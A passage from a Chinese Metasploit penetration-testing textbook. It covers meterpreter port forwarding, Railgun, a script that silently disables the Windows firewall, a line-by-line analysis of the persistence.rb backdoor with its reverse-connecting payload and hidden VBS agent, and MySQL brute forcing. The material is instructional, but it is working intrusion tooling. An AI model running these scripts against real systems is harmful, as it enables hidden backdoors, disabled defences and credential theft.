脱离端口转发而单独讨论拓展是不完整的。本节将延续并扩展上一节的主题，介绍怎样利用端口转发技术将数据和请求从攻击方机器，再经由目标节点转发到内部网络服务器。这里需要注意的重点是，可以利用端口转发技术访问内部服务器上的各种服务，但如果需要对其进行攻击渗透，则需要综合运用前面章节中讲到的各种技术。

准备

从上节讲述的场景开始，已经攻陷了Windows 7目标节点，并且添加了路由信息，将网络上发送的所有数据包都通过meterpreter会话进行传送。下面看一下路由表。

msf exploit(handler) > route print

Active Routing Table

====================

Subnet　Netmask　Gateway

------　-------　-------

10.0.2.15　255.255.255.0　Session 1

从结果可以看到，路由表中已经设置了端口转发规则，可以将数据包转发到内部服务器。

怎样实现

假设内部服务器在80端口运行着web服务，现在需要利用端口转发技术对其进行访问，为此需要使用portfwd命令。下面先看一下该命令有哪些可用选项，之后传递相关值。

meterpreter > portfwd -h

Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:

　 -L <opt>　The local host to listen on (optional).

　-h　Help banner.

　 -l <opt>　The local port to listen on.

　 -p <opt>　The remote port to connect to.

　 -r <opt>　The remote host to connect to.

meterpreter > portfwd add -l 4321 -p 80 -r 10.0.2.7

[*] Local TCP relay created: 0.0.0.0:4321 <-> 10.0.2.7:80

成功执行该命令后，在攻击方机器和内部服务器之间将建立起TCP中转通道，攻击方机器上的监听端口为4321，要访问的服务将占用内部服务器上的80端口。

设置好路由表之后，整个端口转发过程对攻击者而言是透明的。例如，如果需要通过浏览器访问内部服务器，可以在地址栏中输入 http://10.0.2.7:80，之后将直接到达内部网络上的intranet服务。

在需要运行Metasploit未提供的命令和应用程序时，可利用端口转发技术，利用该技术可以更轻松地完成任务。

上面给出的是端口转发的一个小示例，在下节中，我们将介绍通过Ruby程序设计开发meterpreter脚本。

怎样工作

端口转发过程涉及一个简单概念，即从不安全的位置或网络提供受限服务，这主要利用认证过的或可靠的系统/软件在不安全网络和安全网络之间建立通信媒介。在第1章中讨论在虚拟机上建立 Metasploit 并使用 PuTTY 与主机操作系统建立连接时，已经涉及这一概念。

上图以一个简单示例展示了端口转发的过程。外部机器试图访问运行在 6667 端口的IRC服务器，但防火墙在配置上阻止外部机器对6667端口的访问（图中的红线），为此，外部机器连接到运行在22端口的SSH服务器（例如使用PuTTY）。如果防火墙不阻止这一连接，外部机器藉此绕过了防火墙，并可以利用22 端口到6667 端口的端口转发实现对IRC服务器的访问，从而建立一条端口转发访问隧道（图中的蓝线）。

6.6 Meterpreter API与mixins

在上章中，我们广泛地学习了怎样将meterpreter当做后渗透阶段工具进行使用。meterpreter让渗透任务变得更快更容易。从本节开始，我们将更进一步讨论一些与 meterpreter 相关的高级概念。深入到Metasploit的核心，理解meterpreter脚本的工作机理及怎样构建meterpreter脚本。

从渗透测试人员的角度来看，根据实际需要构建脚本是非常重要的，例如需要执行某些任务，但 meterpreter 本身尚不足以完成，在这种情况下，如果渗透测试人员能根据需要开发自己的脚本和模块，就可以轻松完成任务。在本节中，我们将讨论meterpreter API及其中一些重要的mixins，后面的章节会讲解怎样编写自己的meterpreter脚本。

准备

在渗透测试过程中开发自己的脚本时，meterpreter API 发挥着重要作用。由于整个Metasploit框架是采用Ruby语言编写构建的，掌握Ruby程序设计可以更好地体验使用Metasploit进行渗透测试的过程。后面的章节中会涉及Ruby脚本的内容，因此需要读者具备一定的Ruby程序设计知识。即便只具备Ruby或其他脚本语言的基本知识，也有助于增加对某些概念的理解。

下载示例代码 读者可以使用http://www.packtpub.com上的账号下载已购买的所有Packt书籍的示例代码，如果本书是在其他地方购买的，可以访问http://www.packtpub.com/support页面进行注册，以电子邮件方式接收示例代码文件。

怎样实现

首先在meterpreter中启动交互式的Ruby shell，假设已成功渗透Windows 7目标机器并建立活跃的meterpreter会话。

可以使用 irb命令启动Ruby shell。

meterpreter > irb

[*] Starting IRB shell

[*] The 'client' variable holds the meterpreter client

现在已经处于Ruby shell环境下，可以执行Ruby脚本，下面尝试简单的两个数求和的操作。

>> 2+2

=> 4

从上述执行情况可以看出，当前的Ruby shell工作状态正常，可以对Ruby语句进行正确解释。现在执行复杂操作，创建hash表，并在其中存储值和相应键，然后根据条件删除相应值，脚本类似于如下形式。

x = { "a" => 100, "b" => 20 }

x.delete_if { |key, value| value < 25 }

print x.inspect

该脚本简单，易于理解。第一行表示创建了key（a和b），并为其赋值，第二行表示添加了操作条件，即删除那些值小于25的hash。

接下来介绍一些用于打印操作的API调用，这些API在编写meterpreter脚本时发挥重要作用。

print_line("message")：该API调用将打印输出相关内容，并在最后添加一个回车换行。

print_status("message")：该API调用在脚本语言中使用非常频繁，执行后将回车换行，并打印出当前执行内容的状态（以[*]为引导）。

>> print_status("HackingAlert")

[*] HackingAlert

=> nil

print_good("message")：该API调用用于显示任意操作的结果，显示内容以[+]为前缀，表明操作是成功的。

>> print_good("HackingAlert")

[+] HackingAlert

=> nil

print_error("message")：该API调用用于显示脚本执行出错时的错误消息，并以[-]为前缀。

>> print_error("HackingAlert")

[-] HackingAlert

=> nil

之所以讨论这些不同的打印API调用，是因为这些API调用广泛应用于编写meterpreter脚本的各种情况中。与 meterpreter API 相关的文档资料，可以在/opt/framework3/msf3/documentation目录中找到，建议阅读这些文档，以便对API有详细的理解。/opt/framework3/ msf3/lib/rex/post/meterpreter目录中则包含了很多与meterpreter API相关的脚本。

这些脚本中包含了各种有关 meterpreter 核心、桌面交互、特权操作和更多的命令。查阅这些脚本，有助于更熟练地掌握meterpreter在已攻陷目标机器内的操作过程。

Meterpreter mixins

Meterpreter mixins是Metasploit中特定的 irb调用。这些调用在 irb中不可用，但在编写meterpreter脚本时可用于完成最常见的任务，从而简化特定meterpreter脚本的编写任务。下面介绍一些有用的mixins。

cmd_exec(cmd)：以隐藏和信道化的形式执行命令，命令输出以多行字符串形式展示。

eventlog_clear(evt = "")：清除给定的事件日志，如果没有给定则清除所有事件日志，并返回被清除事件日志列表。

eventlog_list()：列举事件日志并返回事件日志名称列表。

file_local_write(file2wrt, data2wrt)：将给定字符串写入指定文件。

is_admin?()：判定用户是否为管理员，如果是管理员返回true，否则返回false。

is_uac_enabled?()：判断系统中用户账号控制（UAC）机制是否激活。

registry_createkey(key)：创建指定的注册表键，成功则返回true。

registry_deleteval(key,valname)：根据给定的键和值名称删除注册表值，成功则返回true。

registry_delkey(key)：删除给定的注册表键，成功则返回true。

registry_enumkeys(key)：根据给定注册表键枚举其子键，并返回子键列表。

registry_enumvals(key)：枚举给定注册表键的值，并返回值名称列表。

registry_getvaldata(key,valname)：返回给定注册表键的数据及其值。

service_create(name, display_name, executable_on_host,startup=2)：该函数用于创建运行自己程序的服务，其参数包括字符串形式的服务名称、字符串形式的显示名称、字符串形式的可执行程序（主机启动时执行）路径，以及整数形式的启动类型。其中，2表示自动启动，3表示手工启动，4表示禁用。

service_delete(name)：该函数用于删除某个服务（通过在注册表中删除对应键实现）。

service_info(name)：用于获取Windows服务信息，信息以hash形式返回，其中包含显示名称、启动模式及该服务执行的命令等内容。服务名称区分大小，Hash键分别为Name、Start、Command和Credentials。

service_list()：列出当前所有Windows服务，返回包含服务名称的列表。

service_start(name)：该函数用于服务启动，如果服务成功启动则返回0，如果服务已经启动则返回1，如果服务已禁用则返回2。

service_stop(name)：该函数用于终止服务，终止成功则返回0，服务已终止或禁用则返回1，服务无法终止则返回2。

以上对一些重要的meterpreter mixins进行了简要介绍，使用这些mixins可以降低编写脚本的复杂性。今后讲到创建和分析meterpreter脚本时，将会对其使用有更多的理解。

怎样工作

Meterpreter API创建了mini版的Ruby解释器，可以理解并解释Ruby指令。使用API的主要优势在于它为执行某些操作提供了便利，毕竟不能使用命令完成所有操作，有时候需要使用特定脚本完成相应任务，此时使用API会给完成任务带来很大的便利。

6.7 Railgun——将Ruby转换为武器

在前面内容中，介绍了如何使用meterpreter API运行Ruby脚本，现在更进一步，假定需要对目标机器进行远程 API 调用，最简单的方法是什么？答案是 Railgun。Railgun 是meterpreter扩展，允许攻击者直接调用DLL函数。一般情况下，Railgun用于调用Windows API，但实际上也可以在目标机器上调用任意的DLL。

准备

要使用Railgun，需要目标机器上有活跃的meterpreter会话。要启动Ruby解释器，可以按前面讲过的方法使用irb命令。

meterpreter>irb

>>

怎样实现

在实际调用DLL之前，首先来了解一下需要哪些关键步骤，以便更好地利用Railgun。

（1）识别要调用的函数。

（2）在http://msdn.microsoft.com/en-us/library/aa383749(v=vs.85).aspx处定位该函数。

（3）确定该函数处在哪个DLL内（例如kernel32.dll）。

（4）以 client.railgun.dll_name.function_name(arg1, arg2, ...)的形式调用选定的库函数。

Windows MSDN库用于识别目标机器上具有哪些有用的 DLL和函数，下面看一下对shell32.dll 中IsUserAnAdmin函数的调用情况并分析其输出结果。

>> client.railgun.shell32.IsUserAnAdmin

=> {"GetLastError"=>0, "return"=>false}

从结果可以看到，该函数返回 false，表明该用户不是管理员。我们对其进行提权，并再次进行调用。

meterpreter > getsystem

...got system (via technique 4).

meterpreter > irb

[*] Starting IRB shell

[*] The 'client' variable holds the meterpreter client

>> client.railgun.shell32.IsUserAnAdmin

=> {"GetLastError"=>0, "return"=>true}

本次调用返回true，表明提权操作已成功，目前是以系统管理员权限进行操作。Railgun使得用户易于执行那些未以模块形式展示的任务，从而不再仅局限于Metasploit框架提供的那些脚本和模块。事实上，可以根据需求进行调用。

还可以将该调用扩展为Ruby脚本，并带有错误检查功能。

print_status "Running the IsUserAnAdmin function"

status = client.railgun.shell32.IsUserAnAdmin()

if status['return'] == true then

　 print_status 'You are an administrator'

else

　 print_error 'You are not an administrator'

end

Railgun给用户带来了功能强大而又激动人心的体验，用户可以使用自己的调用和脚本分析输出。同时，如果要调用的DLL或函数不在Railgun定义范围内，用户还可以向其中加入自己的函数和DLL，下一节中将会讲述这些内容。

怎样工作

Railgun是一个特殊的Ruby命令解释器，可用于对已攻陷目标机器进行远程DLL调用。远程DLL调用是渗透测试中的重要组成部分，测试人员可在已攻陷目标机器上以系统级权限执行任意任意系统指令。

更多

Railgun是一款可以增强渗透测试工作的工具，下面来看一下更多关于Railgun的信息。

Railgun定义与文档

Railgun当前支持10种不同的Windows API DLL，可以在pentest/exploits/framework3/lib/rex/post/meterpreter/extensions/stdapi/railgun/def文件夹中找到其定义。

此外，可以在/opt/framework3/msf3/external/source/meterpreter/source/extensions/stdapi/server/railgun/railgun_manual.pdf中阅读Railgun文档。

6.8 向Railgun中添加DLL和函数定义

前面内容主要讲述了通过Railgun调用Windows API DLL，本节将介绍怎样向Railgun中添加用户自己的DLL和函数定义，为此，需要对Windows DLL有一些理解。Railgun手册有助于读者快速理解不同的Windows常量，同时对添加函数定义也有所帮助。

怎样实现

向Railgun中添加DLL定义是一项容易的任务。假设需要添加一个Windows系统自带但在 Railgun 中尚未定义的 DLL，可以在 pentest/exploits/framework3/lib/rex/post/meterpreter/extensions/stdapi/railgun/def 目录下创建一个定义，并将其命名为def_dllname.rb。

（1）要向Railgun中添加shell32.dll定义，首先添加如下一些代码行。

module Rex

module Post

module Meterpreter

module Extensions

module Stdapi

module Railgun

module Def

class Def_shell32

　 def self.create_dll(dll_path = 'shell32')

　　 dll = DLL.new(dll_path, ApiConstants.manager)

......

end

end

end; end; end; end; end; end; end

（2）将上述代码保存为def_shell32.dll，从而为shell32.dll创建Railgun定义。

（3）向该DLL定义中添加函数。如果在Metasploit中查看def_shell32.dll脚本，会发现IsUserAnAdmin函数已经添加到其中了。

dll.add_function('IsUserAnAdmin', 'BOOL', [])

该函数根据实际情况返回布尔值True或False。类似地，用户可以在shell32.dll中添加自己的函数定义，例如添加OleFlushClipboard()函数，该函数的功能是清空Windows剪切板中的任意数据。

（4）向shell32.dll定义中添加如下代码。

dll.add_function('OleFlushClipboard' , 'BOOL' , [])

怎样工作

要对该函数进行测试，保存该文件，回到meterpreter会话检查该函数执行成功与否。

>> client.railgun.shell32.OleFlushClipboard

=> {"GetLastError"=>0, "return"=>true}

另一种方案是，使用add_dll和add_function直接向Railgun中添加DLL和函数。下面是一个完整的脚本，用于检测shell32.dll和OleFlushClipboard的可用性，如果不存在，则使用add_dll和add_function进行添加。

if client.railgun.get_dll('shell32') == nil

　 print_status "Adding Shell32.dll"

　client.railgun.add_dll('shell32','C:\\WINDOWS\\system32\\shell32. dll')

else

　 print_status "Shell32 already loaded.. skipping"

end

if client.railgun.shell32.functions['OleFlushClipboard'] == nil

　 print_status "Adding the Flush Clipboard function"

　 client.railgun.add_function('shell32', 'OleFlushClipboard', 'BOOL', [])

else

　 print_status "OleFlushClipboard already loaded.. skipping"

end

上面是根据需要调用Windows API的一个简单示例，从中可以领略到Railgun的强大功能。MSDN库中包括有各种有用的 Windows API调用，可将其添加到 Railgun中，增强Metasploit框架的功能，也可以用于调用目标机器上的任意DLL。下一节中将介绍开发自己的meterpreter脚本。

6.9 构建“Windows防火墙反激活”meterpreter脚本

在前面的内容中我们已介绍和使用了一些meterpreter脚本，例如killav.rb与persistence.rb等，接下来我们开始讨论怎样构建自己的meterpreter脚本。Ruby在编写Metasploit中的任何模块发挥重要作用，所以读者应对Ruby有基本的理解。直接与meterpreter脚本设计相关的文档并不多，最简单也是最好的实践方法是学习Ruby语言，同时查阅各种学习可用模块的代码。也可以阅读Metasploit开发人员指南，以便理解该框架中的各种不同的库，这些知识有助于编写自己的模块，上述文档可参考如下链接 http://dev.metasploit.com/redmine/projects/framework/wiki/DeveloperGuide。

本节要开发的脚本是 Windows Vista/7 防火墙反激活器脚本，该脚本将使用 netsh 等Windows命令，meterpreter将使用名为cmd_exec()的mixin在目标机器上执行命令。

准备

Meterpreter 运行在被攻陷客户端进程的上下文内，用户可以只关注需要通过脚本执行的任务，而不必担心连通性和其他参数设置问题。下面来看一下编写 meterpreter 脚本时需要记住的一些原则。

避免使用全局变量：这一原则在任何框架内进行编码时都必须遵循。应该避免使用全局变量，防止对框架变量造成干扰。一般只使用实例、本地变量或常量。

使用注释：编写代码时使用注释很重要，有助于明确每部分代码所负责执行的功能。

包含参数：在前面的章节中，我们已经多次看到运行脚本时会传递相应参数。编写脚本时，最基本且有用的是-h参数或help选项。

打印结果：打印出操作的结果可以证实脚本的执行是否成功，各种不同的打印API，例如print_status、print_error等，可以展示各种不同的相关信息。

平台确认：确认脚本需要在什么平台上执行具体操作。

遵循文件约定：完成脚本编写后，将其保存在/pentest/exploits/framework3/scripts/ meterpreter目录中，遵循框架中的文件约定有助于避免冲突。

使用mixins：Mixins是meterpreter中的重要概念，使用mixins会使编写的脚本更简单、更容易。

编写meterpreter脚本时，应该记住以上这些原则。

下面，打开任意的文本编辑器，开始编写Ruby脚本，如果在BackTrack平台工作，可以使用其中的Gedit文本编辑器。

怎样实现

（1）在文本编辑器中键入如下代码行，在对其进行解释之前，读者可以对其进行认真阅读，并尝试推断每行代码的作用和意图。

# Author: Abhinav Singh

# Windows Firewall De-Activator

#Option/parameter Parsing

opts = Rex::Parser::Arguments.new(

　 "-h" => [ false, "Help menu." ]

)

opts.parse(args) { |opt, idx, val|

　 case opt

　 when "-h"

　　 print_line "Meterpreter Script for disabling the Default windows Firelwall"

　　 print_line "Let's hope it works"

　　print_line(opts.usage)

　　 raise Rex::Script::Completed

　end

}

# OS validation and command execution

unsupported if client.platform !~ /win32|win64/i

　end

　begin

　　 print_status("disabling the default firewall")

　　 cmd_exec('cmd /c','netsh advfirewall set AllProfiles state off',5)

上述代码输入完毕后，将其命名为 myscript.rb 并保存到/pentest/exploits/framework3/scripts/meterpreter目录中。

（2）要执行该脚本，需要具备meterpreter会话。Ruby脚本可以使用run命令运行，不过在运行前，要确认具备目标机器的系统级权限。

meterpreter > getsystem

...got system (via technique 4).

meterpreter > run myscript.rb

[*] disabling the default firewall

meterpreter >

成功执行该脚本将禁用默认防火墙，执行的命令将在后台进行，因此不被目标用户所知。接下来我们对该脚本进行详细的分析和理解。

怎样工作

下面对该脚本的每一部分进行详细分析。

opts = Rex::Parser::Arguments.new(

　 "-h" => [ false, "Help menu." ]

)

opts.parse(args) { |opt, idx, val|

　 case opt

　 when "-h"

　　 print_line "Meterpreter Script for disabling the Default Windows Firewall"

　　 print_line "Let's hope it works"

　　print_line(opts.usage)

　　 raise Rex::Script::Completed

　end

}

上述代码行的作用是定义该脚本运行时的一些附加选项。本脚本中，唯一可用的选项是-h 参数，其作用是显示脚本用法消息。读者可以将这段脚本保存下来，以便在其他脚本中需要定义选项时使用。接下来你会发现，有几个代码段都可以直接备用。

该脚本首先创建了hash（即opts），该hash包含Rex库（Ruby扩展库的简写），唯一的键是-h，设置使用方法的值为 false，表明本选项是该脚本的一个可选参数。接下来的几行代码表明对脚本提供的选项进行匹配，并跳转到使用print_line()显示消息的特定情况。本示例中使用的选项只有-h。

unsupported if client.platform !~ /win32|win64/i

　begin

　　 print_status("disabling the default firewall")

　　 cmd_exec('cmd /c','netsh advfirewall set AllProfiles state off',5)

　end

上面的这部分脚本表示的是一些特定的操作。首先确认客户端的操作系统类型，然后使用meterpreter mixin，即 cmd_exec()，其作用是以隐蔽和信道化的形式执行命令，这里需要执行的命令是 netsh advfirewall set AllProfiles state off。该mixin在客户端机器上的命令行提示符上下文中调用这一命令，成功执行后将禁用Windows防火墙。

读者可以尝试在该脚本中增加更多功能，并尝试各种可能性，实践越多学到的就越多。

上面的内容中简单介绍了怎样构建 meterpreter 脚本。在下节中，我们将学习一个更高级的meterpreter脚本，并对其进行详细分析。

更多...

下面讨论一下代码重用，这有助于更快更高效地开展渗透测试。

代码重用

代码重用是一种有助于构建自己脚本的有效技术。在Metasploit框架中，实际上已经包含有很多现成的函数，例如创建多处理程序、实现参数检查、添加攻击载荷等，用户可以在自己的脚本代码中直接使用这些函数并利用其功能。记住，学习 meterpreter 脚本设计的最好途径就是查阅内置的脚本。

6.10 分析现有的meterpreter脚本

在前面的内容中我们学习了怎样构建自己的脚本，现在来分析一个执行某些高级任务的现有脚本。完全具备对现有脚本的阅读和理解能力之后，可以根据自身需要对其中函数进行实现和使用。代码重用是一种提高代码优化的有效技术。

怎样实现

要查阅现有脚本，首先进入pentest/exploits/framework3/scripts/meterpreter目录。

在该文件夹下可以发现所有可用的meterpreter脚本，首先对persistence.rb脚本进行简要分析，该脚本主要用于在目标机器上设置后门。前面已经讨论过该脚本的使用，这里将深入理解该脚本的内部工作机理。

怎样工作

下面逐一分析该脚本的各个部分。

# Default parameters for payload

rhost = Rex::Socket.source_address("1.2.3.4")

rport = 4444

delay = 5

install = false

autoconn = false

serv = false

altexe = nil

target_dir = nil

payload_type = "windows/meterpreter/reverse_tcp"

script = nil

script_on_target = nil

代码以声明脚本中所使用的一些变量为开始。在其中可以看到某些常见的变量，例如rhost、rport、payload_type等，这些变量在攻击渗透的过程中，我们都已使用过。

@exec_opts = Rex::Parser::Arguments.new(

　 "-h" => [ false, "This help menu"],

　 "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],

　 "-p" => [ true, "The port on the remote host where Metasploit is listening"],

　 "-i" => [ true, "The interval in seconds between each

　 connection attempt"],

　 "-X" => [ false, "Automatically start the agent when the system boots"],

　 "-U" => [ false, "Automatically start the agent when the User logs on"],

　 "-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"],

　 "-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"],

　 "-L" => [ true, "Location in target host where to write payload to, if none \%TEMP\% will be used."],

　 "-T" => [ true, "Alternate executable template to use"], "-P" => [ true, "Payload to use, default is windows/

meterpreter/reverse_tcp."]

)

meter_type = client.platform

接下来该脚本定义了一些不同的参数（标志），可在脚本执行时作为参数传递。其中，值为true的参数是必需的，渗透测试人员必须为其赋值；值为false的参数则是可选的。

# Usage Message Function

#--------------------------------------------------------------------

-----------

def usage

　 print_line "Meterpreter Script for creating a persistent backdoor on a target host."

　print_line(@exec_opts.usage)

　 raise Rex::Script::Completed

end

# Wrong Meterpreter Version Message Function

#--------------------------------------------------------------------

-----------

def wrong_meter_version(meter = meter_type)

　 print_error("#{meter} version of Meterpreter is not supported with this Script!")

　 raise Rex::Script::Completed

end

该脚本的这一部分由函数定义组成，前两个函数通常存在于所有的meterpreter脚本中，对脚本的使用起到了简短描述的作用。其中， wrong_meter_version()函数用于确认当前meterpreter版本是否得到该脚本支持，有些脚本不支持旧版本的meterpreter，因此，进行版本确认也是必要的。

# Function for Creating the Payload

#--------------------------------------------------------------------

-----------

def create_payload(payload_type,lhost,lport)

　 print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}")

　 payload = payload_type

　 pay = client.framework.payloads.create(payload)

　 pay.datastore['LHOST'] = lhost

　 pay.datastore['LPORT'] = lport

　 return pay.generate

end

上面的函数用于创建攻击载荷，如果需要创建攻击载荷，可以直接使用本函数（代码重用的好处）。create_payload()函数以两个值作为参数，即payload_typ和lport，回想一下前面的变量声明部分，这两个变量都已经被初始化为相应的默认值。

脚本语句pay = client.framework.payloads.create(payload)允许用户从Metasploit框架中创建攻击载荷。

这段代码中需要注意的是pay.datastore['LHOST'] = lhost和pay.datastore['LPORT'] = lport语句，datastore是hash值，模块或Metasploit框架本身都可能使用这个值来引用程序员或用户控制的值。

# Function for Creating persistent script

#--------------------------------------------------------------------

-----------

def create_script(delay,altexe,raw)

　 if altexe

　　 vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe})

　else

　　 vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay})

　end

　 print_status("Persistent agent script is #{vbs.length} bytes long")

　 return vbs

end

上面的函数用于创建持久性脚本，脚本的创建依赖于攻击载荷及其他与脚本一起传递使用的值。

# Function for creating log folder and returning log path

#--------------------------------------------------------------------

-----------

def log_file(log_path = nil)

　 #Get hostname

　 host = @client.sys.config.sysinfo["Computer"]

　 # Create Filename info to be appended to downloaded files

　 filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

　 # Create a directory for the logs

　 if log_path

　　 logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )

　else

　　 logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )

　end

　 # Create the log directory

　::FileUtils.mkdir_p(logs)

　 #logfile name

　 logfile = logs + ::File::Separator + Rex::FileUtils.clean_ path(host + filenameinfo) + ".rc"

　 return logfile

end

上面的函数用于为脚本创建日志目录，其中，语句 host=@client.sys.config.sysinfo ["Computer"]用于提取被攻陷目标机器的系统信息，目录和文件名是使用Rex::FileUtils库创建的，该库用于执行一些文件和目录操作。

# Function for writing script to target host

#--------------------------------------------------------------------

------

def write_script_to_target(target_dir,vbs)

　 if target_dir

　　 tempdir = target_dir

　else

　　 tempdir = @client.fs.file.expand_path("%TEMP%")

　end

tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"

　 fd = @client.fs.file.new(tempvbs, "wb")

　fd.write(vbs)

　fd.close

　 print_good("Persistent Script written to #{tempvbs}")

　 file_local_write(@clean_up_rc, "rm #{tempvbs}\n")

　 return tempvbs

end

上面的函数从向磁盘写入文件开始，将各种后门文件保存到前面相关函数创建的文件夹和目录中，语句Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"为临时文件夹中创建的文件生成随机文本，语句fd.write() 用于将文件写入磁盘中。

# Function for setting multi handler for autocon

#--------------------------------------------------------------------

-----------

def set_handler(selected_payload,rhost,rport)

　 print_status("Starting connection handler at port #{rport} for #{selected_payload}")

　 mul = client.framework.exploits.create("multi/handler")

　 mul.datastore['WORKSPACE']　= @client.workspace

　mul.datastore['PAYLOAD']　= selected_payload

　mul.datastore['LHOST']　= rhost

　mul.datastore['LPORT']　= rport

　 mul.datastore['EXITFUNC']　= 'process'

　 mul.datastore['ExitOnSession'] = false

　mul.exploit_simple(

　　 'Payload'　=> mul.datastore['PAYLOAD'],

　　'RunAsJob'　=> true

　)

　 print_good("Multi/Handler started!")

end

上面的函数用于创建多处理程序，以便回连到攻击方机器，如果需要实现类似功能，这又是一个可以在自己脚本中使用的通用类函数。

# Function to execute script on target and return the PID of the

process

#--------------------------------------------------------------------

-----------

def targets_exec(script_on_target)

　 print_status("Executing script #{script_on_target}")

　 proc = session.sys.process.execute("cscript \"#{script_on_ target}\"", nil, {'Hidden' => true})

　 print_good("Agent executed with PID #{proc.pid}")

　 file_local_write(@clean_up_rc, "kill #{proc.pid}\n")

　 return proc.pid

end

上面的函数用于在目标机器上执行脚本，持久性脚本在目标机器上创建vbs文件，必须对其进行执行以便打开连接，Targets_exec()函数用于实现这一目标。如果需要在目标机器上执行脚本，该函数也可以进行代码重用。session.sys.process.execute()负责执行脚本，proc.pid则返回创建的后门进程的ID。

脚本代码中其他部分的含义不再赘述，至此，一个清晰的脚本创建完毕，选项检查也都已经实现。通过这一节的学习，相信读者对执行 meterpreter 脚本时后台发生的操作有了清晰的认识。从渗透测试人员的角度来讲，根据工作场景需要来阅读和修改代码是一项重要的技能，这也是开源框架的妙处所在。用户可以根据需要修改代码，也可以通过分析现有源代码学习技巧和提高能力。

第7章 使用模块进行渗透测试

本章讲解下述内容：

● 使用扫描器辅助模块；

● 使用辅助管理模块；

● SQL注入与DOS攻击模块；

● 后渗透阶段模块；

● 理解模块构建的基础；

● 分析现有模块；

● 建立自己的后渗透阶段模块。

7.1 引言

在第1章讨论Metasploit基础时，曾介绍过其采用的是模块式体系结构，这意味着所有的漏洞利用代码、攻击载荷、编码器等都是以模块形式存在的。模块式体系结构使得扩展框架功能变得更加容易。任何程序设计人员都可以开发自己的模块，并将其导入到框架中。完全的渗透测试过程可能涉及到若干个模块的使用和运行，例如，首先利用漏洞利用模块，然后使用攻击载荷模块，攻陷目标系统后再使用后渗透阶段模块等，最后还可能需要使用一些不同的模块连接数据库并存储渗透测试过程中的各种结果等。虽然在使用 Metasploit时没有过多地讨论过模块，但模块是构成Metasploit框架的核心，因此有必要对模块进行深入理解。

本章重点关注pentest/exploits/framework3/modules目录，其中包含框架中所有有用的模块，可以简化渗透测试任务。模块的使用和前面讲过的非常相似，只是在功能方面上有一些差别。本章还将对一些现有模块进行分析，最后介绍怎样开发自己的模块。

7.2 使用扫描器辅助模块

首先使用扫描器模块。在前面章节中已介绍过使用 Nmap 进行扫描的详细过程。本节中。我们将分析一些现有的扫描器模块，这些模块都存在于Metasploit框架中。虽然Nmap是一款功能强大的扫描工具，但有些情况下仍然需要执行特定类型的扫描，例如扫描探测MySQL数据库是否存在。

Metasploit含有大量的有用扫描器，下面对部分扫描器进行尝试。

准备

要了解框架中有哪些可用的扫描器，可以浏览/pentest/exploits/framework3/modules/auxiliary/scanner目录，其中包含了35种以上有用的扫描模块，适用于各种不同的渗透测试场景。

怎样实现

首先介绍基本的 HTTP 扫描器，其中包含有很多不同的可用 HTTP 扫描选项，下面将对其中少数进行讨论。

观察 dir_scanner 脚本，该脚本用于扫描单一主机（或某个完整的网段）来寻找特定目录，以便进一步探索收集信息。

要使用该辅助模块，需要在msfconsole中执行如下步骤。

msf > use auxiliary/scanner/http/dir_scanner

msf auxiliary(dir_scanner) > show options

Module options:

使用 show options命令可列出所有可用的可选参数，这些参数可以传递给扫描器模块，其中最重要的是RHOSTS参数，通过该参数可以将目标设置为单一主机或某个网段。

怎样工作

下面讨论一个特定的扫描器模块，其中涉及一些额外的输入。mysql_login 扫描器模块属于暴力破解模块，用于探测目标机器上是否存在MySQL服务器，并通过暴力破解攻击方法尝试登录目标数据库。

msf > use auxiliary/scanner/mysql/mysql_login

msf auxiliary(mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

Name　Current Setting Required Description

----　---------------　--------　-----------

BLANK_PASSWORDS　true　yes Try blank pas..

BRUTEFORCE_SPEED　5　yes　How fast to..

PASSWORD　no　A specific password

PASS_FILE　no　File containing..

RHOSTS　yes　The target address.

RPORT　3306　yes　The target port..

STOP_ON_SUCCESS　false　yes　Stop guessing…

THREADS　1　yes　The number of..

USERNAME　no　A specific user..

USERPASS_FILE　no　File containing..

USER_FILE　no　File containing..

VERBOSE　true　yes　Whether to print..

从结果可以看到，该模块包含很多可以传递的参数。模块功能发挥得越好，渗透成功率越高。对这一模块，使用者可以提供一个包含大量用户名和口令的字典文件，从而提高暴力破解目标机器数据库的成功率。

我们为该模块提供了如下信息。

msf auxiliary(mysql_login) > set USER_FILE /users.txt

USER_FILE => /users.txt

msf auxiliary(mysql_login) > set PASS_FILE /pass.txt

PASS_FILE => /pass.txt

设置用户名和口令文件，开始暴力破解。最后选择目标机器，运行run命令执行该模块。

msf auxiliary(mysql_login) > set RHOSTS 192.168.56.101

RHOSTS => 192.168.56.101

msf auxiliary(mysql_login) > run

[*] 192.168.56.101:3306 - Found remote MySQL version 5.0.51a

[*] 192.168.56.101:3306 Trying username:'administrator' with password:''

上面的输出表明，该模块首先在目标机器上探测是否存在MySQL服务器，确认存在后，组合文本文件中的用户名和口令。这也是当前工作场景中主要的模块操作之一，实际上还有大量的暴力破解模块可用于对弱口令进行暴力破解。

使用Crunch生成口令

对任何方式的暴力破解而言，使用一定规模的口令文件是非常必要的。口令列表既可以在线获取，也可以使用 John The Ripper软件生成。另一种方法是，使用Backtrack中的crunch工具，以正在使用的字符集为基础生成口令列表。在/pentest/passwords/crunch目录中可以找到crunch工具，如果所使用的Backtrack版本中没有这一工具，则可以在终端窗口中使用如下命令进行安装。

root@bt: cd /pentest/passwords

root@bt:/pentest/passwords# apt-get install crunch

crunch基本语法格式如下所示。

./ crunch <min-len> <max-len> [-f /path/to/charset.lst charset- name] [-o wordlist.txt]

　[-t [FIXED]@@@@] [-s startblock] [-c number]

crunch工具中部分有用参数的功能如下所示。

● min-len：字符串起点的最小长度。

● max-len：字符串终点的最大长度。

charset：定义使用的字符集。

